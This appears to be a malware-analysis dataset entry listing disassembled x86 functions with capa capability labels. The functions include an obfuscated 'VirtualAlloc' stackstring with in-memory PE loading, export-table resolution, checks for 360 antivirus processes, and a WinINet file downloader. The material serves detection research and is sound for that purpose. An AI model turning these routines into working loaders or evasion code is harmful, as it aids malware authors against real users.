joyce8/EMBER2024-capa huggingface dataset:
Function at 0x55f0d0
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x24]
mov esi, dword [0x57e928]
add esi, 0xd41
mov dword [0x57e928], esi
mov byte [ebp - 0x24], 0x56
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], 0x41
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x63
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x17], 0xe9
mov dword [0x57e924], 0x1613
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
call fcn.0055ed80
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.0055e150
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
je 0x55f210
mov eax, dword [ebp - 0x34]
mov dword [0x57e924], 0x748
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.0055e5a0
mov eax, dword [ebp - 0x3c]
mov word [eax], 0x5a4d
mov dword [eax + 0x3c], 0xc0
add eax, 0xc0
mov dword [ebp - 0x40], eax
xor eax, eax
mov ecx, dword [ebp - 0x40]
mov dword [ecx], 0x4550
mov edx, dword [ebp - 0x3c]
add edx, 0xffc00000
mov dword [0x57e924], 0x624
mov esi, dword [ebp - 0x2c]
mov dword [esi + 8], edx
mov edx, dword [ebp - 0x3c]
mov dword [esi + 0x54], edx
mov dword [0x57e928], 0x2425
cmp edx, 0
mov dword [ebp - 0x38], eax
je 0x55f210
mov dword [0x57e924], 0x1f4e
mov eax, dword [ebp - 0x3c]
add eax, 0x1331
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
add esp, 0x4c
pop esi
pop ebp
ret
Function at 0x55f5a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
mov dword [0x57e928], 0xdcc
call fcn.00401080
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
jne 0x55f718
lea eax, [esp + 0x38]
mov dword [0x57e924], 0x8f5
mov ecx, dword [0x57e928]
add ecx, 0x14ca
mov dword [0x57e928], ecx
mov dword [esp + 0x20], eax
call fcn.0055ddb0
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x1c], ecx
jne 0x55f710
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.0055e820
lea ecx, [0x55e750]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x58], edx
mov dword [esp + 0x38], 0x11e800
mov dword [0x57e924], 0xa58
mov edx, dword [0x57e910]
mov dword [esp + 0x74], edx
mov edx, dword [0x57e914]
mov dword [esp + 0x60], edx
mov edx, dword [0x57e918]
mov dword [esp + 0x68], edx
mov edx, dword [0x57e91c]
mov dword [esp + 0x70], edx
mov dword [0x57e928], 0xfffff8f0
mov edx, dword [0x57e920]
mov dword [esp + 0x6c], edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x55f69d
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
je 0x55f6b1
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x55f676
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
lea edx, [esp + 0x38]
mov dword [esp + 0x80], eax
mov eax, dword [eax + ecx + 0x50]
mov dword [esp + 0x44], eax
mov dword [0x57e924], 0x22cb
mov dword [0x57e928], 0xa7d
mov eax, dword [esp + 0x30]
mov dword [esp], edx
mov dword [esp + 4], eax
call fcn.0055f0d0
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x57e928], 0x10cf
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x55f810
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x50
mov eax, dword [ebp + 8]
mov dword [0x57e924], 0xffffff8f
mov dword [ebp - 0x10], eax
call fcn.0055f2c0
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov esi, dword [eax + esi + 0x78]
mov dword [0x57e928], 0x460
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov ebx, dword [eax + esi + 0x24]
mov dword [0x57e924], 0x1e54
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], ecx
je 0x55f97c
jmp 0x55f8b5
mov eax, dword [ebp - 0x2c]
add eax, 1
mov cl, byte [ebp - 0x2d]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x2e]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x35], ch
mov al, byte [ebp - 0x35]
test al, 1
mov ecx, dword [ebp - 0x34]
mov dl, byte [ebp - 0x2e]
mov dword [ebp - 0x3c], ecx
mov byte [ebp - 0x3d], dl
jne 0x55f8e7
jmp 0x55f919
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
add eax, ecx
mov dword [ebp - 0x44], eax
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], eax
jmp 0x55f8cd
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
xor edx, edx
mov esi, dword [ebp - 0x24]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0x58]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov bl, cl
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x2d], bh
mov byte [ebp - 0x2e], cl
mov byte [ebp - 0x3d], bl
jne 0x55f87a
mov al, byte [ebp - 0x3d]
test al, 1
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x5c], ecx
jne 0x55f946
mov eax, dword [ebp - 0x54]
add eax, 2
mov ecx, dword [ebp - 0x50]
add ecx, 1
mov edx, dword [ebp - 0x18]
cmp ecx, edx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], ecx
jb 0x55f8cd
jmp 0x55f975
mov eax, dword [ebp - 0x5c]
movzx eax, word [eax]
mov dword [0x57e924], 0x1812
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x1c]
mov esi, dword [ebp - 0x1c]
add esi, dword [ecx + eax*4]
mov dword [0x57e928], 0xaf2
mov dword [ebp - 0x28], esi
jmp 0x55f97c
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x55f97c
mov eax, dword [ebp - 0x28]
add esp, 0x50
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4013d4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x4013de
repz ret
jmp fcn.00401e1d

Function at 0x40a1b0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00402919
xor ebx, ebx
cmp dword [0x42e6dc], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40a285
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x40a1f0
xor eax, eax
jmp 0x40a349
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40a1e9
push eax
call fcn.004028b6
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42e6dc], eax
call esi
push eax
call fcn.004028b6
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42e6e0], eax
call esi
push eax
call fcn.004028b6
mov dword [0x42e6e4], eax
lea eax, [ebp - 8]
push eax
call fcn.00404958
test eax, eax
pop ecx
pop ecx
je 0x40a253
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00402fc5
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40a285
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.004028b6
cmp eax, ebx
pop ecx
mov dword [0x42e6ec], eax
je 0x40a285
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004028b6
pop ecx
mov dword [0x42e6e8], eax
mov eax, dword [0x42e6e8]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40a2fe
cmp dword [0x42e6ec], esi
je 0x40a2fe
push eax
call fcn.00402922
pop ecx
call eax
cmp eax, ebx
je 0x40a2cb
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x42e6ec]
call fcn.00402922
pop ecx
call eax
test eax, eax
je 0x40a2cb
test byte [ebp - 0x18], 1
jne 0x40a2fe
lea eax, [ebp - 0xc]
push eax
call fcn.0040498f
test eax, eax
pop ecx
je 0x40a2e6
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00402fc5
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40a2f5
or dword [ebp + 0x10], 0x200000
jmp 0x40a32f
or dword [ebp + 0x10], 0x40000
jmp 0x40a32f
mov eax, dword [0x42e6e0]
cmp eax, esi
je 0x40a32f
push eax
call fcn.00402922
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40a32f
mov eax, dword [0x42e6e4]
cmp eax, esi
je 0x40a32f
push dword [ebp - 4]
push eax
call fcn.00402922
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x42e6dc]
call fcn.00402922
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41ee50
Capabilities:
Get common file path

Disassembly:
sub esp, 0x560
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x55c], eax
mov eax, dword [0x4280e8]
push ebx
push esi
push edi
lea eax, [eax + eax*2]
sub eax, dword [0x4280ec]
lea ecx, [esp + 0xc]
push ecx
push 0x1db
mov dword [0x428154], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edx, 0xffffffba
sub edx, dword [0x428154]
mov edi, eax
sub edx, edi
add dword [0x4280e8], edx
call fcn.0041ed30
mov eax, dword [0x428154]
mov ecx, dword [0x4280e8]
lea edx, [eax + ecx - 0xbb2b]
mov dword [0x428154], edx
call fcn.0041ed30
mov edx, dword [0x4280e8]
mov ecx, dword [0x428154]
mov esi, edx
sub esi, ecx
add esi, 0x11
mov eax, 6
lea esp, [esp]
sub byte [eax + 0x428158], cl
mov ebx, edi
sub ebx, ecx
sub eax, 1
test eax, eax
lea edx, [edx + ebx - 0x39]
jg 0x41eee0
sub ecx, edx
pop edi
mov dword [0x445878], eax
lea eax, [ecx + esi - 0x39]
mov ecx, dword [esp + 0x564]
pop esi
pop ebx
xor ecx, esp
mov dword [0x4280e8], edx
call fcn.004013d4
add esp, 0x560
ret
Function at 0x406ced
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x74
push 0x40af98
call 0x49e000
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x406d2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406d2d
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x406d45
cmp eax, 0x20b
je 0x406d32
mov dword [ebp - 0x1c], ebx
jmp 0x406d59
cmp dword [ecx + 0x84], 0xe
jbe 0x406d2d
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x406d53
cmp dword [ecx + 0x74], 0xe
jbe 0x406d2d
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x40ea78], 0xffffffff
or dword [0x40ea7c], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x40d464]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x40d460]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x40ea74], eax
call fcn.00406f30
call fcn.00406fd0
cmp dword [0x40d320], ebx
jne 0x406db9
push fcn.00406fd0
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.00406fbe
push 0x40c00c
push 0x40c008
call sub.MSVCR71.dll__initterm
push 0x406f74
call fcn.00406f1e
mov eax, dword [0x40d45c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x40d458]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___getmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, ebx
jge 0x406e0d
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x40c004
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x24], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x406e8b
cmp al, bl
je 0x406e37
cmp dword [ebp - 0x20], ebx
jne 0x406e8b
mov al, byte [esi]
cmp al, bl
je 0x406e47
cmp al, 0x20
ja 0x406e47
inc esi
mov dword [ebp - 0x24], esi
jmp 0x406e37
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x58], 1
je 0x406e63
movzx eax, word [ebp - 0x54]
jmp 0x406e66
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call fcn.00404254
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], ebx
jne 0x406e83
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x406ee0
cmp al, 0x22
jne 0x406e9a
xor ecx, ecx
cmp dword [ebp - 0x20], ebx
sete cl
mov dword [ebp - 0x20], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR71.dll__ismbblead]
pop ecx
test eax, eax
je 0x406ead
inc esi
mov dword [ebp - 0x24], esi
inc esi
jmp 0x406e25
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0040700f
ret
Function at 0x100010b0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
mov eax, dword [0x100120f0]
xor eax, esp
mov dword [esp + 0x128], eax
push esi
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x100010ed
or eax, eax
pop esi
mov ecx, dword [esp + 0x128]
xor ecx, esp
call fcn.10003523
add esp, 0x12c
ret
lea eax, [esp + 4]
push eax
push esi
mov dword [esp + 0xc], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000114c
lea ecx, [esp + 0x28]
push str.360tray.exe
push ecx
call fcn.100034d8
add esp, 8
test eax, eax
je 0x10001130
lea edx, [esp + 0x28]
push str.360safe.exe
push edx
call fcn.100034d8
add esp, 8
test eax, eax
jne 0x1000113d
mov eax, dword [esp + 0xc]
push eax
call fcn.10001050
add esp, 4
lea ecx, [esp + 4]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10001104
mov ecx, dword [esp + 0x12c]
pop esi
xor ecx, esp
xor eax, eax
call fcn.10003523
add esp, 0x12c
ret
Function at 0x10001170
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov eax, 0x101c
call fcn.10003540
mov eax, dword [0x100120f0]
xor eax, esp
mov dword [esp + 0x1018], eax
mov eax, dword [esp + 0x1024]
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetOpenUrlA]
push ebp
push esi
mov dword [esp + 0x18], eax
or eax, 0xffffffff
push edi
mov edi, dword [esp + 0x1030]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
nop
push 0
push 0
push 0
push 1
push 0x1000e2b8
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [esp + 0x20], esi
test esi, esi
je 0x10001359
push 0
push 0x80000000
push 0
push 0
push edi
push esi
call ebx
mov ebp, eax
test ebp, ebp
jne 0x10001200
cmp byte [esp + 0x1040], al
je 0x10001339
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100011b0
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [esp + 0x10]
push ecx
push 0x1000
lea edx, [esp + 0x30]
push edx
xor edi, edi
push ebp
xor esi, esi
mov dword [esp + 0x20], edi
call ebx
test eax, eax
je 0x10001280
cmp dword [esp + 0x10], 0
jbe 0x10001280
test esi, esi
jne 0x1000123e
push 0x1000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x1000124e
push 2
lea eax, [edi + 0x1000]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ecx, dword [esp + 0x10]
push ecx
mov esi, eax
lea edx, [esp + 0x2c]
push edx
lea eax, [esi + edi]
push eax
call fcn.10003570
add edi, dword [esp + 0x1c]
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push 0x1000
lea edx, [esp + 0x30]
push edx
push ebp
call ebx
test eax, eax
jne 0x10001224
mov eax, dword [esp + 0x1c]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
je 0x10001335
mov ecx, dword [esp + 0x103c]
test ecx, ecx
je 0x1000130e
mov eax, dword [esp + 0x1038]
add ecx, eax
cmp ecx, edi
jae 0x1000130e
test eax, eax
jge 0x100012cf
add eax, edi
mov dword [esp + 0x1038], eax
push 0
call fcn.100031da
push eax
call fcn.100034ef
xor ebx, ebx
add esp, 8
cmp dword [esp + 0x103c], ebx
jbe 0x1000130e
mov edx, dword [esp + 0x1038]
lea eax, [esi + edx]
mov dword [esp + 0x1c], eax
call fcn.10003501
mov ecx, dword [esp + 0x1c]
mov byte [ecx + ebx], al
inc ebx
cmp ebx, dword [esp + 0x103c]
jb 0x100012f8
mov eax, dword [esp + 0x18]
push 0
lea edx, [esp + 0x28]
push edx
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test esi, esi
je 0x1000132d
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esp + 0x14], 0
mov esi, dword [esp + 0x20]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
test ebp, ebp
je 0x10001349
push ebp
call esi
mov eax, dword [esp + 0x18]
cmp eax, 0xffffffff
je 0x10001359
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1028]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10003523
add esp, 0x101c
ret
Function at 0x10001380
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x334
mov eax, dword [0x100120f0]
xor eax, esp
mov dword [esp + 0x330], eax
push esi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x100014e8
lea eax, [esp + 4]
push eax
push esi
mov dword [esp + 0xc], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x100014e1
push 0x103
lea ecx, [esp + 0x131]
push 0
push ecx
call fcn.10003160
push 0x103
lea edx, [esp + 0x241]
push 0
push edx
call fcn.10003160
mov al, 0x33
mov byte [esp + 0x144], al
mov byte [esp + 0x248], al
mov al, 0x36
mov byte [esp + 0x145], al
mov byte [esp + 0x249], al
mov al, 0x30
mov byte [esp + 0x146], al
mov byte [esp + 0x24a], al
mov al, 0x65
mov cl, 0x2e
add esp, 0x18
mov byte [esp + 0x12f], 0x54
mov byte [esp + 0x233], 0x73
mov byte [esp + 0x130], 0x72
mov byte [esp + 0x234], 0x44
mov byte [esp + 0x131], 0x61
mov byte [esp + 0x235], cl
mov byte [esp + 0x236], al
mov byte [esp + 0x237], 0x78
mov byte [esp + 0x238], al
mov byte [esp + 0x239], 0
mov byte [esp + 0x132], 0x59
mov byte [esp + 0x133], cl
mov byte [esp + 0x134], al
mov byte [esp + 0x135], 0x58
mov byte [esp + 0x136], al
mov byte [esp + 0x137], 0
lea ecx, [ecx]
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x130]
push ecx
call fcn.100039e3
add esp, 8
test eax, eax
je 0x10001500
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x234]
push eax
call fcn.100039e3
add esp, 8
test eax, eax
je 0x10001500
lea ecx, [esp + 4]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100014a0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [esp + 0x330]
xor ecx, esp
call fcn.10003523
add esp, 0x334
ret
mov ecx, dword [esp + 0x334]
pop esi
xor ecx, esp
mov eax, 1
call fcn.10003523
add esp, 0x334
ret
Function at 0x10002a40
Capabilities:
Decode data using base64 via winapi

Disassembly:
push esi
mov esi, dword [esp + 8]
mov ecx, dword [esi + 0x14]
test ecx, ecx
jne 0x10002a50
xor al, al
pop esi
ret
cmp dword [esi + 0x18], 0x10
push ebx
lea ebx, [esi + 4]
jb 0x10002a5e
mov eax, dword [ebx]
jmp 0x10002a60
mov eax, ebx
push ebp
mov ebp, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
push 0
push 0
lea edx, [esp + 0x18]
push edx
push 0
push 1
push ecx
push eax
call ebp
test eax, eax
jne 0x10002a82
pop ebp
pop ebx
xor al, al
pop esi
ret
mov eax, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x18]
push 0
inc eax
push eax
mov ecx, edi
call fcn.100029a0
mov ecx, dword [edi + 0x10]
sub ecx, dword [edi + 0xc]
jne 0x10002aa3
call fcn.10003b92
cmp dword [esi + 0x18], 0x10
mov edi, dword [edi + 0xc]
mov ecx, dword [esi + 0x14]
jb 0x10002ab3
mov eax, dword [ebx]
jmp 0x10002ab5
mov eax, ebx
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push edi
push 1
push ecx
push eax
call ebp
pop edi
pop ebp
test eax, eax
pop ebx
setne al
pop esi
ret
Function at 0x10003523
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100120f0]
jne 0x1000352d
repz ret
jmp fcn.10006575

Function at 0x1000c5bd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10005bd2
and dword [ebp - 4], 0
cmp dword [0x10013a20], 0
mov ebx, eax
jne 0x1000c66e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1000c71f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1000c71f
push eax
call fcn.10005b60
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10013a20], eax
call esi
push eax
call fcn.10005b60
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10013a24], eax
call esi
push eax
call fcn.10005b60
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10013a28], eax
call esi
push eax
call fcn.10005b60
pop ecx
mov dword [0x10013a30], eax
test eax, eax
je 0x1000c66e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10005b60
pop ecx
mov dword [0x10013a2c], eax
mov eax, dword [0x10013a2c]
cmp eax, ebx
je 0x1000c6c6
cmp dword [0x10013a30], ebx
je 0x1000c6c6
push eax
call fcn.10005bdb
push dword [0x10013a30]
mov esi, eax
call fcn.10005bdb
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1000c6c6
test edi, edi
je 0x1000c6c6
call esi
test eax, eax
je 0x1000c6bd
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1000c6bd
test byte [ebp - 0xc], 1
jne 0x1000c6c6
or dword [ebp + 0x10], 0x200000
jmp 0x1000c6ff
mov eax, dword [0x10013a24]
cmp eax, ebx
je 0x1000c6ff
push eax
call fcn.10005bdb
pop ecx
test eax, eax
je 0x1000c6ff
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1000c6ff
mov eax, dword [0x10013a28]
cmp eax, ebx
je 0x1000c6ff
push eax
call fcn.10005bdb
pop ecx
test eax, eax
je 0x1000c6ff
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10013a20]
call fcn.10005bdb
pop ecx
test eax, eax
je 0x1000c71f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1000c721
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret